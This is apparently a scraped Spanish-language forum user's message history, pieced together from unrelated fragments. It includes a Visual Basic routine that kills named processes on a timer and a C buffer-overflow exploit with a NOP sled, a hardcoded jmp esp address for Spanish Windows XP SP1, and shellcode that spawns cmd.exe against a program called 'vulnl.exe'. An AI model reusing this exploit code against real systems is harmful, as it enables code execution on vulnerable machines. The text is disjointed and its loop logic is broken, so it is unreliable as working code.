usa el programa "Fusion" que une las dependencias al ejecutable
http://lympex.securityhead.com/index2.php?menu=tools#-_Programaci%F3n_-
http://lympex.securityhead.com/index2.php?menu=tools#-_Programaci%F3n_-
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú'para buscar el pid
Private Declare Function CreateToolhelp32Snapshot Lib "KERNEL32.DLL" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function Process32First Lib "KERNEL32.DLL" (ByVal hSnapshot As Long, ByRef lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "KERNEL32.DLL" (ByVal hSnapshot As Long, ByRef lppe As PROCESSENTRY32) As Long
Const TH32CS_SNAPPROCESS As Long = &H2
Const MAX_PATH As Integer = 260
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
'para matar el proceso
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Const PROCESS_TERMINATE As Long = &HFFF
'para no declararla dentro del timer
Public C As Long
Public Pid As Long
'MATA UN PROCESO A PARTIR DE SU PID
Public Function MataProceso(Pid As Long) As Boolean
Dim Abre As Long
'abre el proceso
Abre = OpenProcess(PROCESS_TERMINATE, 0, Pid)
'lo mata
If TerminateProcess(Abre, 0) Then
MataProceso = True
Else
MataProceso = False
End If
'cierra el handle
CloseHandle (Abre)
End Function
'DEVUELVE EL PID DE UN PROCESO A PARTIR DE SU NOMBRE
Public Function BuscaPid(Nombre As String) As Long
Dim Uno As Long
Dim Info As PROCESSENTRY32
Info.dwSize = Len(Info)
Uno = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
Call Process32First(Uno, Info)
'mientras tenga valor correcto
Do While Process32Next(Uno, Info)
'si coinciden damos el resultado
If lstrcmp(Nombre, Info.szExeFile) = 0 Then
BuscaPid = Info.th32ProcessID
Exit Do
End If
Loop
CloseHandle (Uno)
End Function
CitarPrivate Sub TmrProcesos_Timer()
For C = 0 To C = lstProcesos.ListCount
'buscamos su pid
Pid = BuscaPid(lstProcesos.List(C))
'si existe, lo matamos
If Pid > 0 Then
If Check1.Value = Checked Then
Open txtLogProcesos.Text For Append As #1
Print #1, vbCrLf & vbCrLf & "[- " & Now & " -]"
Print #1, "
- Matando proceso `" & lstProcesos.List(C) & "´ con PID=" & Pid & " ..."
If MataProceso(Pid) = True Then
Print #1, "- OK"
Else
Print #1, "- Error"
End If
Close #1
Else
Call MataProceso(Pid)
End If
End If
Next C
End Sub
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
int main()
{
//buffer
char EvilBuffer[1024]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
//direccion de jmp esp de ntdll.dll WinXP SP1 Español
char Offset[]="\xCC\x59\xFA\x77";
/*Shellcode con la llamada a system("cmd.exe");
Offset de la funcion system en msvcrt.dll: 0x77bf8044
*/
char ShellCode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6"
"\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45"
"\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE"
"\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
/*
HMODULE Dll=LoadLibrary("msvcrt.dll");
__asm{
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77bf8044//Offset de la funcion system en msvcrt.dll
call ebx
}
FreeLibrary(Dll);
*/
//creamos el parametro: Buffer + Offset + ShellCode
strcat(EvilBuffer,Offset);
strcat(EvilBuffer,ShellCode);
//explotamos }:-D
ShellExecute(NULL,"OPEN","vulnl.exe",EvilBuffer,NULL,true);
return 0;
}
List1.List(c)
List1.List(List1.ListIndex)
txtServidorSMTP.text = mid(correo,instr(correo,"@"),len(correo))
CitarC:\>ping www.servidor.com